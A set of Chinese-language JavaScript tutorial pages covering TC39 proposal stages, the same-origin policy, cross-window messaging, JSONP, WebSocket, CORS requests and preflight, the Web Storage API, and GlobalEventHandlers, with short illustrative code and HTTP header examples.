一句话：**JS 能不能加新语法，TC39 说了算**

### 提案

任何人 / 团队：

* 都可以向 TC39 提交一个“新 JS 特性想法”
* 比如：装饰器、管道操作符、Optional Chaining

但不是“我提了就能进标准”，它要**闯关**。

### Stage

TC39 给所有新特性设计了 **Stage 0 → 4 的晋级制度**，就像游戏关卡。

### 🟠 Stage 0：想法阶段（脑洞）

* 只是一个 idea
* 可能只有 README
* 随时可能被喷死

例子：“我觉得 JS 应该支持 XXX”，**绝对不能用在生产环境**

### 🟡 Stage 1：提案阶段（认真讨论）

* 有明确动机
* 有大致语法
* 委员会觉得：**值得研究**

这一步开始：

* Babel / TS 可能“实验性支持”

* 但语法可能会大改

* 但语法可能会大改

### 🟢 Stage 2：草案阶段（形态基本稳定）

* 语法大体定型
* 但细节仍可能变
* 规范开始写得比较完整

**TypeScript 特别喜欢在 Stage 2 就支持**，TS “领先标准”，很多就发生在这里。

### 🔵 Stage 3：候选阶段（准标准）

这是分水岭，非常重要。

Stage 3 意味着：

* 语义基本锁死
* 浏览器可以放心实现
* Babel / TS 支持基本靠谱

**99% 会进标准**，现在很多你“觉得已经是 JS 的东西”，其实是 Stage 3。

### 🟣 Stage 4：正式标准

* 至少两个主流 JS 引擎实现
* 测试通过
* 写进 ECMAScript 规范

**这时它才是“真正的 JS”**

## 完整流程

1. 有人提出想法（Stage 0）
2. TC39 觉得有戏（Stage 1）
3. 语法逐渐稳定（Stage 2）
4. 各大引擎开始实现（Stage 3）
5. 一年一次，被打包进 ES 版本（Stage 4）

这整个过程：

* 快的：2～3 年
* 慢的：5～10 年
* 有的：永远死在路上

## ES 一年一版

现在的命名规则是：

* **ES2015（ES6）**
* **ES2016**
* **ES2017**
* …
* **ES2024**
* **ES2025**

**不再用 ES7 / ES8 / ES16 这种说法了**

所以：

* 现在不是 ES16 / ES17
* 而是 **ES2024 / ES2025**

一年一版指的是：**把当年“已 Stage 4 的特性”打包发布**

不是说：“一年语言就大变一次”

## TS “提前用未来 JS”

**TS 和 JS 的关系很微妙**：

TypeScript 干了三件事：

1. **提前实现 Stage 2/3 的语法**
2. 提供类型系统（JS 永远不会有）
3. 在编译期“擦掉”自己

所以你会看到：

* 标准 JS：还在讨论
* TS：已经能用了

装饰器就是典型：

* ES 装饰器：多年反复修改
* TS：先给你一套“能用的”

***

**TypeScript 的能力边界在“编译期”。**

它只能实现那些**不改变 JavaScript 运行时语义、能在编译后被完全擦掉或安全降级的语法和约束**；

类型系统、装饰器这种“看起来像元编程”的东西，本质只是**在你写代码时提供约束和提示**。

真正的运行期元编程（比如 `Proxy`、反射、动态行为拦截）完全属于 JavaScript 本身，TS 既不能也不会介入。换句话说：**TS 负责让代码“写得对”，JS 负责让代码“跑得动”。**

---

---
url: /skill/zf0kxrt4/index.md
---
# JS 回顾 16
## 同源限制

浏览器安全的基石是“同源政策”（[same-origin policy](https://en.wikipedia.org/wiki/Same-origin_policy)）。很多开发者都知道这一点，但了解得不全面。

### 概述

#### 含义

1995年，同源政策由 Netscape 公司引入浏览器。目前，所有浏览器都实行这个政策。

最初，它的含义是指，A 网页设置的 Cookie，B 网页不能打开，除非这两个网页“同源”。所谓“同源”指的是“三个相同”。

* 协议相同
* 域名相同
* 端口相同

举例来说，`http://www.example.com/dir/page.html`这个网址，协议是`http://`，域名是`www.example.com`，端口是`80`（默认端口可以省略），它的同源情况如下。

* `http://www.example.com/dir2/other.html`：同源
* `http://example.com/dir/other.html`：不同源（域名不同）
* `http://v2.www.example.com/dir/other.html`：不同源（域名不同）
* `http://www.example.com:81/dir/other.html`：不同源（端口不同）
* `https://www.example.com/dir/page.html`：不同源（协议不同）

注意，标准规定端口不同的网址不是同源（比如8000端口和8001端口不是同源），但是浏览器没有遵守这条规定。实际上，同一个网域的不同端口，是可以互相读取 Cookie 的。

#### 目的

同源政策的目的，是为了保证用户信息的安全，防止恶意的网站窃取数据。

设想这样一种情况：A 网站是一家银行，用户登录以后，A 网站在用户的机器上设置了一个 Cookie，包含了一些隐私信息。用户离开 A 网站以后，又去访问 B 网站，如果没有同源限制，B 网站可以读取 A 网站的 Cookie，那么隐私就泄漏了。更可怕的是，Cookie 往往用来保存用户的登录状态，如果用户没有退出登录，其他网站就可以冒充用户，为所欲为。因为浏览器同时还规定，提交表单不受同源政策的限制。

由此可见，同源政策是必需的，否则 Cookie 可以共享，互联网就毫无安全可言了。

#### 限制范围

随着互联网的发展，同源政策越来越严格。目前，如果非同源，共有三种行为受到限制。

（1）无法读取非同源网页的 Cookie、LocalStorage 和 IndexedDB。

（2）无法接触非同源网页的 DOM。

（3）无法向非同源地址发送 AJAX 请求（可以发送，但浏览器会拒绝接受响应）。

另外，通过 JavaScript 脚本可以拿到其他窗口的`window`对象。如果是非同源的网页，目前允许一个窗口可以接触其他网页的`window`对象的九个属性和四个方法。

* window.closed
* window.frames
* window.length
* window.location
* window.opener
* window.parent
* window.self
* window.top
* window.window
* window.blur()
* window.close()
* window.focus()
* window.postMessage()

上面的九个属性之中，只有`window.location`是可读写的，其他八个全部都是只读。而且，即使是`location`对象，非同源的情况下，也只允许调用`location.replace()`方法和写入`location.href`属性。

虽然这些限制是必要的，但是有时很不方便，合理的用途也受到影响。下面介绍如何规避上面的限制。

### Cookie

Cookie 是服务器写入浏览器的一小段信息，只有同源的网页才能共享。如果两个网页一级域名相同，只是次级域名不同，浏览器允许通过设置`document.domain`共享 Cookie。

举例来说，A 网页的网址是`http://w1.example.com/a.html`，B 网页的网址是`http://w2.example.com/b.html`，那么只要设置相同的`document.domain`，两个网页就可以共享 Cookie。因为浏览器通过`document.domain`属性来检查是否同源。

```js
// 两个网页都需要设置
document.domain = 'example.com';
```

注意，A 和 B 两个网页都需要设置`document.domain`属性，才能达到同源的目的。因为设置`document.domain`的同时，会把端口重置为`null`，因此如果只设置一个网页的`document.domain`，会导致两个网址的端口不同，还是达不到同源的目的。

现在，A 网页通过脚本设置一个 Cookie。

```js
document.cookie = "test1=hello";
```

B 网页就可以读到这个 Cookie。

```js
var allCookie = document.cookie;
```

注意，这种方法只适用于 Cookie 和 iframe 窗口，LocalStorage 和 IndexedDB 无法通过这种方法，规避同源政策，而要使用 PostMessage API。

另外，服务器也可以在设置 Cookie 的时候，指定 Cookie 的所属域名为一级域名，比如`example.com`。

```http
Set-Cookie: key=value; domain=example.com; path=/
```

这样的话，二级域名和三级域名不用做任何设置，都可以读取这个 Cookie。

### iframe 和多窗口通信

`iframe`元素可以在当前网页之中，嵌入其他网页。每个`iframe`元素形成自己的窗口，即有自己的`window`对象。`iframe`窗口之中的脚本，可以获得父窗口和子窗口。但是，只有在同源的情况下，父窗口和子窗口才能通信；如果跨域，就无法拿到对方的 DOM。

比如，父窗口运行下面的命令，如果`iframe`窗口不是同源，就会报错。

```js
document
.getElementById("myIFrame")
.contentWindow
.document
// Uncaught DOMException: Blocked a frame from accessing a cross-origin frame.
```

上面命令中，父窗口想获取子窗口的 DOM，因为跨域导致报错。

反之亦然，子窗口获取主窗口的 DOM 也会报错。

```js
window.parent.document.body
// 报错
```

这种情况不仅适用于`iframe`窗口，还适用于`window.open`方法打开的窗口，只要跨域，父窗口与子窗口之间就无法通信。

如果两个窗口一级域名相同，只是二级域名不同，那么设置上一节介绍的`document.domain`属性，就可以规避同源政策，拿到 DOM。

对于完全不同源的网站，目前有两种方法，可以解决跨域窗口的通信问题。

* 片段识别符（fragment identifier）
* 跨文档通信API（Cross-document messaging）

#### 片段识别符

片段标识符（fragment identifier）指的是，URL 的`#`号后面的部分，比如`http://example.com/x.html#fragment`的`#fragment`。如果只是改变片段标识符，页面不会重新刷新。

父窗口可以把信息，写入子窗口的片段标识符。

```js
var src = originURL + '#' + data;
document.getElementById('myIFrame').src = src;
```

上面代码中，父窗口把所要传递的信息，写入 iframe 窗口的片段标识符。

子窗口通过监听`hashchange`事件得到通知。

```js
window.onhashchange = checkMessage;

function checkMessage() {
  var message = window.location.hash;
  // ...
}
```

同样的，子窗口也可以改变父窗口的片段标识符。

```js
parent.location.href = target + '#' + hash;
```

#### window.postMessage()

上面的这种方法属于破解，HTML5 为了解决这个问题，引入了一个全新的API：跨文档通信 API（Cross-document messaging）。

这个 API 为`window`对象新增了一个`window.postMessage`方法，允许跨窗口通信，不论这两个窗口是否同源。举例来说，父窗口`aaa.com`向子窗口`bbb.com`发消息，调用`postMessage`方法就可以了。

```js
// 父窗口打开一个子窗口
var popup = window.open('http://bbb.com', 'title');
// 父窗口向子窗口发消息
popup.postMessage('Hello World!', 'http://bbb.com');
```

`postMessage`方法的第一个参数是具体的信息内容，第二个参数是接收消息的窗口的源（origin），即“协议 + 域名 + 端口”。也可以设为`*`，表示不限制域名，向所有窗口发送。

子窗口向父窗口发送消息的写法类似。

```js
// 子窗口向父窗口发消息
window.opener.postMessage('Nice to see you', 'http://aaa.com');
```

父窗口和子窗口都可以通过`message`事件，监听对方的消息。

```js
// 父窗口和子窗口都可以用下面的代码，
// 监听 message 消息
window.addEventListener('message', function (e) {
  console.log(e.data);
},false);
```

`message`事件的参数是事件对象`event`，提供以下三个属性。

* `event.source`：发送消息的窗口
* `event.origin`: 消息发送者的源（origin），即协议、域名、端口。
* `event.data`: 消息内容

下面的例子是，子窗口通过`event.source`属性引用父窗口，然后发送消息。

```js
window.addEventListener('message', receiveMessage);
function receiveMessage(event) {
  event.source.postMessage('Nice to see you!', '*');
}
```

上面代码有几个地方需要注意。首先，`receiveMessage`函数里面没有过滤信息的来源，任意网址发来的信息都会被处理。其次，`postMessage`方法中指定的目标窗口的网址是一个星号，表示该信息可以向任意网址发送。通常来说，这两种做法是不推荐的，因为不够安全，可能会被恶意利用。

`event.origin`属性可以过滤非许可地址发来的消息。

```js
window.addEventListener('message', receiveMessage);
function receiveMessage(event) {
  if (event.origin !== 'http://aaa.com') return;
  if (event.data === 'Hello World') {
    event.source.postMessage('Hello', event.origin);
  } else {
    console.log(event.data);
  }
}
```

#### LocalStorage

通过`window.postMessage`，读写其他窗口的 LocalStorage 也成为了可能。

下面是一个例子，主窗口写入 iframe 子窗口的`localStorage`。

```js
window.onmessage = function(e) {
  if (e.origin !== 'http://bbb.com') {
    return;
  }
  var payload = JSON.parse(e.data);
  localStorage.setItem(payload.key, JSON.stringify(payload.data));
};
```

上面代码中，子窗口将父窗口发来的消息，写入自己的 LocalStorage。

父窗口发送消息的代码如下。

```js
var win = document.getElementsByTagName('iframe')[0].contentWindow;
var obj = { name: 'Jack' };
win.postMessage(
  JSON.stringify({key: 'storage', data: obj}),
  'http://bbb.com'
);
```

加强版的子窗口接收消息的代码如下。

```js
window.onmessage = function(e) {
  if (e.origin !== 'http://bbb.com') return;
  var payload = JSON.parse(e.data);
  switch (payload.method) {
    case 'set':
      localStorage.setItem(payload.key, JSON.stringify(payload.data));
      break;
    case 'get':
      var parent = window.parent;
      var data = localStorage.getItem(payload.key);
      parent.postMessage(data, 'http://aaa.com');
      break;
    case 'remove':
      localStorage.removeItem(payload.key);
      break;
  }
};
```

加强版的父窗口发送消息代码如下。

```js
var win = document.getElementsByTagName('iframe')[0].contentWindow;
var obj = { name: 'Jack' };
// 存入对象
win.postMessage(
  JSON.stringify({key: 'storage', method: 'set', data: obj}),
  'http://bbb.com'
);
// 读取对象
win.postMessage(
  JSON.stringify({key: 'storage', method: "get"}),
  "*"
);
window.onmessage = function(e) {
  if (e.origin != 'http://aaa.com') return;
  console.log(JSON.parse(e.data).name);
};
```

### AJAX

同源政策规定，AJAX 请求只能发给同源的网址，否则就报错。

除了架设服务器代理（浏览器请求同源服务器，再由后者请求外部服务），有三种方法规避这个限制。

* JSONP
* WebSocket
* CORS

#### JSONP

JSONP 是服务器与客户端跨源通信的常用方法。最大特点就是简单易用，没有兼容性问题，老式浏览器全部支持，服务端改造非常小。

它的做法如下。

第一步，网页添加一个`<script>`元素，向服务器请求一个脚本，这不受同源政策限制，可以跨域请求。

```html
<script src="http://api.foo.com?callback=bar"></script>
```

注意，请求的脚本网址有一个`callback`参数（`?callback=bar`），用来告诉服务器，客户端的回调函数名称（`bar`）。

第二步，服务器收到请求后，拼接一个字符串，将 JSON 数据放在函数名里面，作为字符串返回（`bar({...})`）。

第三步，客户端会将服务器返回的字符串，作为代码解析，因为浏览器认为，这是`<script>`标签请求的脚本内容。这时，客户端只要定义了`bar()`函数，就能在该函数体内，拿到服务器返回的 JSON 数据。

下面看一个实例。首先，网页动态插入`<script>`元素，由它向跨域网址发出请求。

```js
function addScriptTag(src) {
  var script = document.createElement('script');
  script.setAttribute('type', 'text/javascript');
  script.src = src;
  document.body.appendChild(script);
}

window.onload = function () {
  addScriptTag('http://example.com/ip?callback=foo');
}

function foo(data) {
  console.log('Your public IP address is: ' + data.ip);
};
```

上面代码通过动态添加`<script>`元素，向服务器`example.com`发出请求。注意，该请求的查询字符串有一个`callback`参数，用来指定回调函数的名字，这对于 JSONP 是必需的。

服务器收到这个请求以后，会将数据放在回调函数的参数位置返回。

```js
foo({
  'ip': '8.8.8.8'
});
```

由于`<script>`元素请求的脚本，直接作为代码运行。这时，只要浏览器定义了`foo`函数，该函数就会立即调用。作为参数的 JSON 数据被视为 JavaScript 对象，而不是字符串，因此避免了使用`JSON.parse`的步骤。

#### WebSocket

WebSocket 是一种通信协议，使用`ws://`（非加密）和`wss://`（加密）作为协议前缀。该协议不实行同源政策，只要服务器支持，就可以通过它进行跨源通信。

下面是一个例子，浏览器发出的 WebSocket 请求的头信息（摘自[维基百科](https://en.wikipedia.org/wiki/WebSocket)）。

```http
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com
```

上面代码中，有一个字段是`Origin`，表示该请求的请求源（origin），即发自哪个域名。

正是因为有了`Origin`这个字段，所以 WebSocket 才没有实行同源政策。因为服务器可以根据这个字段，判断是否许可本次通信。如果该域名在白名单内，服务器就会做出如下回应。

```http
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: chat
```

#### CORS

CORS 是跨源资源分享（Cross-Origin Resource Sharing）的缩写。它是 W3C 标准，属于跨源 AJAX 请求的根本解决方法。相比 JSONP 只能发`GET`请求，CORS 允许任何类型的请求。

## CORS 通信

CORS 是一个 W3C 标准，全称是“跨源资源共享”（Cross-origin resource sharing），或者通俗地称为“跨域资源共享”。它允许浏览器向跨源的服务器，发出`XMLHttpRequest`请求，从而克服了 AJAX 只能同源使用的限制。

CORS 需要浏览器和服务器同时支持。目前，所有浏览器都支持该功能。

整个 CORS 通信过程，都是浏览器自动完成，不需要用户参与。对于开发者来说，CORS 通信与普通的 AJAX 通信没有差别，代码完全一样。浏览器一旦发现 AJAX 请求跨源，就会自动添加一些附加的头信息，有时还会多出一次附加的请求，但用户不会有感知。因此，实现 CORS 通信的关键是服务器。只要服务器实现了 CORS 接口，就可以跨源通信。

### 两种请求

CORS 请求分成两类：简单请求（simple request）和非简单请求（not-so-simple request）。

只要同时满足以下两大条件，就属于简单请求。

（1）请求方法是以下三种方法之一。

* HEAD
* GET
* POST

（2）HTTP 的头信息不超出以下几种字段。

* Accept
* Accept-Language
* Content-Language
* Last-Event-ID
* Content-Type：只限于三个值`application/x-www-form-urlencoded`、`multipart/form-data`、`text/plain`

凡是不同时满足上面两个条件，就属于非简单请求。一句话，简单请求就是简单的 HTTP 方法与简单的 HTTP 头信息的结合。

这样划分的原因是，表单在历史上一直可以跨源发出请求。简单请求就是表单请求，浏览器沿袭了传统的处理方式，不把行为复杂化，否则开发者可能转而使用表单，规避 CORS 的限制。对于非简单请求，浏览器会采用新的处理方式。

### 简单请求

#### 基本流程

对于简单请求，浏览器直接发出 CORS 请求。具体来说，就是在头信息之中，增加一个`Origin`字段。

下面是一个例子，浏览器发现这次跨源 AJAX 请求是简单请求，就自动在头信息之中，添加一个`Origin`字段。

```http
GET /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...
```

上面的头信息中，`Origin`字段用来说明，本次请求来自哪个域（协议 + 域名 + 端口）。服务器根据这个值，决定是否同意这次请求。

如果`Origin`指定的源，不在许可范围内，服务器会返回一个正常的 HTTP 回应。浏览器发现，这个回应的头信息没有包含`Access-Control-Allow-Origin`字段，就知道出错了，从而抛出一个错误，被`XMLHttpRequest`的`onerror`回调函数捕获。注意，这种错误无法通过状态码识别，因为 HTTP 回应的状态码有可能是200。

如果`Origin`指定的域名在许可范围内，服务器返回的响应，会多出几个头信息字段。

```http
Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: FooBar
Content-Type: text/html; charset=utf-8
```

上面的头信息之中，有三个与 CORS 请求相关的字段，都以`Access-Control-`开头。

**（1）`Access-Control-Allow-Origin`**

该字段是必须的。它的值要么是请求时`Origin`字段的值，要么是一个`*`，表示接受任意域名的请求。

**（2）`Access-Control-Allow-Credentials`**

该字段可选。它的值是一个布尔值，表示是否允许发送 Cookie。默认情况下，Cookie 不包括在 CORS 请求之中。设为`true`，即表示服务器明确许可，浏览器可以把 Cookie 包含在请求中，一起发给服务器。这个值也只能设为`true`，如果服务器不要浏览器发送 Cookie，不发送该字段即可。

**（3）`Access-Control-Expose-Headers`**

该字段可选。CORS 请求时，`XMLHttpRequest`对象的`getResponseHeader()`方法只能拿到6个服务器返回的基本字段：`Cache-Control`、`Content-Language`、`Content-Type`、`Expires`、`Last-Modified`、`Pragma`。如果想拿到其他字段，就必须在`Access-Control-Expose-Headers`里面指定。上面的例子指定，`getResponseHeader('FooBar')`可以返回`FooBar`字段的值。

#### withCredentials 属性

上面说到，CORS 请求默认不包含 Cookie 信息（以及 HTTP 认证信息等），这是为了降低 CSRF 攻击的风险。但是某些场合，服务器可能需要拿到 Cookie，这时需要服务器显式指定`Access-Control-Allow-Credentials`字段，告诉浏览器可以发送 Cookie。

```http
Access-Control-Allow-Credentials: true
```

同时，开发者必须在 AJAX 请求中打开`withCredentials`属性。

```js
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
```

否则，即使服务器要求发送 Cookie，浏览器也不会发送。或者，服务器要求设置 Cookie，浏览器也不会处理。

但是，有的浏览器默认将`withCredentials`属性设为`true`。这导致如果省略`withCredentials`设置，这些浏览器可能还是会一起发送 Cookie。这时，可以显式关闭`withCredentials`。

```
xhr.withCredentials = false;
```

需要注意的是，如果服务器要求浏览器发送 Cookie，`Access-Control-Allow-Origin`就不能设为星号，必须指定明确的、与请求网页一致的域名。同时，Cookie 依然遵循同源政策，只有用服务器域名设置的 Cookie 才会上传，其他域名的 Cookie 并不会上传，且（跨源）原网页代码中的`document.cookie`也无法读取服务器域名下的 Cookie。

### 非简单请求

#### 预检请求

非简单请求是那种对服务器提出特殊要求的请求，比如请求方法是`PUT`或`DELETE`，或者`Content-Type`字段的类型是`application/json`。

非简单请求的 CORS 请求，会在正式通信之前，增加一次 HTTP 查询请求，称为“预检”请求（preflight）。浏览器先询问服务器，当前网页所在的域名是否在服务器的许可名单之中，以及可以使用哪些 HTTP 方法和头信息字段。只有得到肯定答复，浏览器才会发出正式的`XMLHttpRequest`请求，否则就报错。这是为了防止这些新增的请求，对传统的没有 CORS 支持的服务器形成压力，给服务器一个提前拒绝的机会，这样可以防止服务器收到大量`DELETE`和`PUT`请求，这些传统的表单不可能跨源发出的请求。

下面是一段浏览器的 JavaScript 脚本。

```js
var url = 'http://api.alice.com/cors';
var xhr = new XMLHttpRequest();
xhr.open('PUT', url, true);
xhr.setRequestHeader('X-Custom-Header', 'value');
xhr.send();
```

上面代码中，HTTP 请求的方法是`PUT`，并且发送一个自定义头信息`X-Custom-Header`。

浏览器发现，这是一个非简单请求，就自动发出一个“预检”请求，要求服务器确认可以这样请求。下面是这个“预检”请求的 HTTP 头信息。

```http
OPTIONS /cors HTTP/1.1
Origin: http://api.bob.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...
```

“预检”请求用的请求方法是`OPTIONS`，表示这个请求是用来询问的。头信息里面，关键字段是`Origin`，表示请求来自哪个源。

除了`Origin`字段，“预检”请求的头信息包括两个特殊字段。

**（1）`Access-Control-Request-Method`**

该字段是必须的，用来列出浏览器的 CORS 请求会用到哪些 HTTP 方法，上例是`PUT`。

**（2）`Access-Control-Request-Headers`**

该字段是一个逗号分隔的字符串，指定浏览器 CORS 请求会额外发送的头信息字段，上例是`X-Custom-Header`。

#### 预检请求的回应

服务器收到“预检”请求以后，检查了`Origin`、`Access-Control-Request-Method`和`Access-Control-Request-Headers`字段以后，确认允许跨源请求，就可以做出回应。

```http
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
```

上面的 HTTP 回应中，关键的是`Access-Control-Allow-Origin`字段，表示`http://api.bob.com`可以请求数据。该字段也可以设为星号，表示同意任意跨源请求。

```http
Access-Control-Allow-Origin: *
```

如果服务器否定了“预检”请求，会返回一个正常的 HTTP 回应，但是没有任何 CORS 相关的头信息字段，或者明确表示请求不符合条件。

```http
OPTIONS http://api.bob.com HTTP/1.1
Status: 200
Access-Control-Allow-Origin: https://notyourdomain.com
Access-Control-Allow-Method: POST
```

上面的服务器回应，`Access-Control-Allow-Origin`字段明确不包括发出请求的`http://api.bob.com`。

这时，浏览器就会认定，服务器不同意预检请求，因此触发一个错误，被`XMLHttpRequest`对象的`onerror`回调函数捕获。控制台会打印出如下的报错信息。

```http
XMLHttpRequest cannot load http://api.alice.com.
Origin http://api.bob.com is not allowed by Access-Control-Allow-Origin.
```

服务器回应的其他 CORS 相关字段如下。

```http
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1728000
```

**（1）`Access-Control-Allow-Methods`**

该字段必需，它的值是逗号分隔的一个字符串，表明服务器支持的所有跨源请求的方法。注意，返回的是所有支持的方法，而不单是浏览器请求的那个方法。这是为了避免多次“预检”请求。

**（2）`Access-Control-Allow-Headers`**

如果浏览器请求包括`Access-Control-Request-Headers`字段，则`Access-Control-Allow-Headers`字段是必需的。它也是一个逗号分隔的字符串，表明服务器支持的所有头信息字段，不限于浏览器在“预检”中请求的字段。

**（3）`Access-Control-Allow-Credentials`**

该字段与简单请求时的含义相同。

**（4）`Access-Control-Max-Age`**

该字段可选，用来指定本次预检请求的有效期，单位为秒。上面结果中，有效期是20天（1728000秒），即允许缓存该条回应1728000秒（即20天），在此期间，不用发出另一条预检请求。

### 浏览器的正常请求和回应

一旦服务器通过了“预检”请求，以后每次浏览器正常的 CORS 请求，就都跟简单请求一样，会有一个`Origin`头信息字段。服务器的回应，也都会有一个`Access-Control-Allow-Origin`头信息字段。

下面是“预检”请求之后，浏览器的正常 CORS 请求。

```http
PUT /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
X-Custom-Header: value
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...
```

上面头信息的`Origin`字段是浏览器自动添加的。

下面是服务器正常的回应。

```http
Access-Control-Allow-Origin: http://api.bob.com
Content-Type: text/html; charset=utf-8
```

上面头信息中，`Access-Control-Allow-Origin`字段是每次回应都必定包含的。

### 与 JSONP 的比较

CORS 与 JSONP 的使用目的相同，但是比 JSONP 更强大。JSONP 只支持`GET`请求，CORS 支持所有类型的 HTTP 请求。JSONP 的优势在于支持老式浏览器，以及可以向不支持 CORS 的网站请求数据。

## Storage 接口

Storage 接口用于脚本在浏览器保存数据。两个对象部署了这个接口：`window.sessionStorage`和`window.localStorage`。

`sessionStorage`保存的数据用于浏览器的一次会话（session），当会话结束（通常是窗口关闭），数据被清空；`localStorage`保存的数据长期存在，下一次访问该网站的时候，网页可以直接读取以前保存的数据。除了保存期限的长短不同，这两个对象的其他方面都一致。

保存的数据都以“键值对”的形式存在。也就是说，每一项数据都有一个键名和对应的值。所有的数据都是以文本格式保存。

这个接口很像 Cookie 的强化版，能够使用大得多的存储空间。目前，每个域名的存储上限视浏览器而定，Chrome 是 2.5MB，Firefox 和 Opera 是 5MB，IE 是 10MB。其中，Firefox 的存储空间由一级域名决定，而其他浏览器没有这个限制。也就是说，Firefox 中，`a.example.com`和`b.example.com`共享 5MB 的存储空间。另外，与 Cookie 一样，它们也受同域限制。某个网页存入的数据，只有同域下的网页才能读取，如果跨域操作会报错。

### 属性和方法

Storage 接口只有一个属性。

`Storage.length`：返回保存的数据项个数。

```js
window.localStorage.setItem('foo', 'a');
window.localStorage.setItem('bar', 'b');
window.localStorage.setItem('baz', 'c');

window.localStorage.length // 3
```

该接口提供5个方法。

#### Storage.setItem()

`Storage.setItem()`方法用于存入数据。它接受两个参数，第一个是键名，第二个是保存的数据。如果键名已经存在，该方法会更新已有的键值。该方法没有返回值。

```js
window.sessionStorage.setItem('key', 'value');
window.localStorage.setItem('key', 'value');
```

注意，`Storage.setItem()`两个参数都是字符串。如果不是字符串，会自动转成字符串，再存入浏览器。

```js
window.sessionStorage.setItem(3, { foo: 1 });
window.sessionStorage.getItem('3') // "[object Object]"
```

上面代码中，`setItem`方法的两个参数都不是字符串，但是存入的值都是字符串。

如果储存空间已满，该方法会抛错。

写入不一定要用这个方法，直接赋值也是可以的。

```js
// 下面三种写法等价
window.localStorage.foo = '123';
window.localStorage['foo'] = '123';
window.localStorage.setItem('foo', '123');
```

#### Storage.getItem()

`Storage.getItem()`方法用于读取数据。它只有一个参数，就是键名。如果键名不存在，该方法返回`null`。

```js
window.sessionStorage.getItem('key')
window.localStorage.getItem('key')
```

键名应该是一个字符串，否则会被自动转为字符串。

#### Storage.removeItem()

`Storage.removeItem()`方法用于清除某个键名对应的键值。它接受键名作为参数，如果键名不存在，该方法不会做任何事情。

```js
sessionStorage.removeItem('key');
localStorage.removeItem('key');
```

#### Storage.clear()

`Storage.clear()`方法用于清除所有保存的数据。该方法的返回值是`undefined`。

```js
window.sessionStorage.clear()
window.localStorage.clear()
```

#### Storage.key()

`Storage.key()`方法接受一个整数作为参数（从零开始），返回该位置对应的键名。

```js
window.sessionStorage.setItem('key', 'value');
window.sessionStorage.key(0) // "key"
```

结合使用`Storage.length`属性和`Storage.key()`方法，可以遍历所有的键。

```js
for (var i = 0; i < window.localStorage.length; i++) {
  console.log(localStorage.key(i));
}
```

### storage 事件

Storage 接口储存的数据发生变化时，会触发 storage 事件，可以指定这个事件的监听函数。

```js
window.addEventListener('storage', onStorageChange);
```

监听函数接受一个`event`实例对象作为参数。这个实例对象继承了 StorageEvent 接口，有几个特有的属性，都是只读属性。

* `StorageEvent.key`：字符串，表示发生变动的键名。如果 storage 事件是由`clear()`方法引起，该属性返回`null`。
* `StorageEvent.newValue`：字符串，表示新的键值。如果 storage 事件是由`clear()`方法或删除该键值对引发的，该属性返回`null`。
* `StorageEvent.oldValue`：字符串，表示旧的键值。如果该键值对是新增的，该属性返回`null`。
* `StorageEvent.storageArea`：对象，返回键值对所在的整个对象。也说是说，可以从这个属性上面拿到当前域名储存的所有键值对。
* `StorageEvent.url`：字符串，表示原始触发 storage 事件的那个网页的网址。

下面是`StorageEvent.key`属性的例子。

```js
function onStorageChange(e) {
  console.log(e.key);
}

window.addEventListener('storage', onStorageChange);
```

注意，该事件有一个很特别的地方，就是它不在导致数据变化的当前页面触发，而是在同一个域名的其他窗口触发。也就是说，如果浏览器只打开一个窗口，可能观察不到这个事件。比如同时打开多个窗口，当其中的一个窗口导致储存的数据发生改变时，只有在其他窗口才能观察到监听函数的执行。可以通过这种机制，实现多个窗口之间的通信。

---

---
url: /skill/zmla25ph/index.md
---
# JS 回顾 11
## GlobalEventHandlers 接口

指定事件的回调函数，推荐使用的方法是元素的`addEventListener`方法。

```js
div.addEventListener('click', clickHandler, false);
```

除了之外，还有一种方法可以直接指定事件的回调函数。

```js
div.onclick = clickHandler;
```

这个接口是由`GlobalEventHandlers`接口提供的。它的优点是使用比较方便，缺点是只能为每个事件指定一个回调函数，并且无法指定事件触发的阶段（捕获阶段还是冒泡阶段）。

`HTMLElement`、`Document`和`Window`都继承了这个接口，也就是说，各种 HTML 元素、`document`对象、`window`对象上面都可以使用`GlobalEventHandlers`接口提供的属性。下面就列出这个接口提供的主要的事件属性。

### GlobalEventHandlers.onabort

某个对象的`abort`事件（停止加载）发生时，就会调用`onabort`属性指定的回调函数。

各种元素的停止加载事件，到底如何触发，目前并没有统一的规定。因此实际上，这个属性现在一般只用在`<img>`元素上面。

```js
// HTML 代码如下
// <img src="example.jpg" id="img">
var img = document.getElementById('img');
img.onabort = function () {
  console.log('image load aborted.');
}
```

### GlobalEventHandlers.onerror

`error`事件发生时，就会调用`onerror`属性指定的回调函数。

`error`事件分成两种。

一种是 JavaScript 的运行时错误，这会传到`window`对象，导致`window.onerror()`。

```js
window.onerror = function (message, source, lineno, colno, error) {
  // ...
}
```

`window.onerror`的处理函数共接受五个参数，含义如下。

* message：错误信息字符串
* source：报错脚本的 URL
* lineno：报错的行号，是一个整数
* colno：报错的列号，是一个整数
* error： 错误对象

